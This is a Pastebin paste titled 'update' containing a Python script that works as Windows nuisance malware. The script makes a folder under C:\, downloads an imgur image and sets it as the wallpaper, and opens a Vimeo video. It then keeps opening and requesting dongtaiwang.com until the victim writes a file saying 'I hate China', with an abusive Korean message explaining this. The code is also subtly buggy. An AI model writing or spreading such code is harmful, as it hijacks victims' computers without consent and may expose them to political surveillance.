Advertisement
Guest User

업데이트

a guest
Feb 29th, 2020
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.18 KB | None | 0 0
  1. import os, time, requests, aiohttp, ctypes, webbrowser, asyncio
  2.  
  3. async def sendRequest(url) :
  4.     async with aiohttp.ClientSession() as session:
  5.         async with session.get(url) as r:
  6.             return
  7.                    
  8. def openUrl(url) :
  9.     print('이새꺄 이거 끄고 싶으면 C:\zresource 폴더에 잘못했어요.txt 써넣고 안에 중국싫어요 써 이새꺄!')
  10.     while True :
  11.         with open('잘못했어요.txt') as f:
  12.             s = f.read()
  13.         if os.path.isfile('잘못했어요.txt') and str(s) == '중국싫어요' :
  14.             break
  15.         else :
  16.             webbrowser.open_new(url)
  17.             loop = asyncio.get_event_loop()
  18.             loop.run_until_complete(sendRequest(url=url))
  19.             loop.close()
  20.  
  21. wallurl = 'https://i.imgur.com/Bwul9bt.jpg'
  22. videourl = 'https://vimeo.com/394605959'
  23. mainurl = 'http://dongtaiwang.com'
  24. os.chdir('C:\ ')
  25. os.system('mkdir zresource')
  26. os.chdir('C:\zresource')
  27. wallr = requests.get(wallurl, allow_redirects=True)
  28. open ('wall.png', 'wb').write(wallr.content)
  29. ctypes.windll.user32.SystemParametersInfoW(20, 0, "C:\zresource\wall.png" , 0)
  30. webbrowser.open_new(videourl)
  31. openUrl(url=mainurl)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement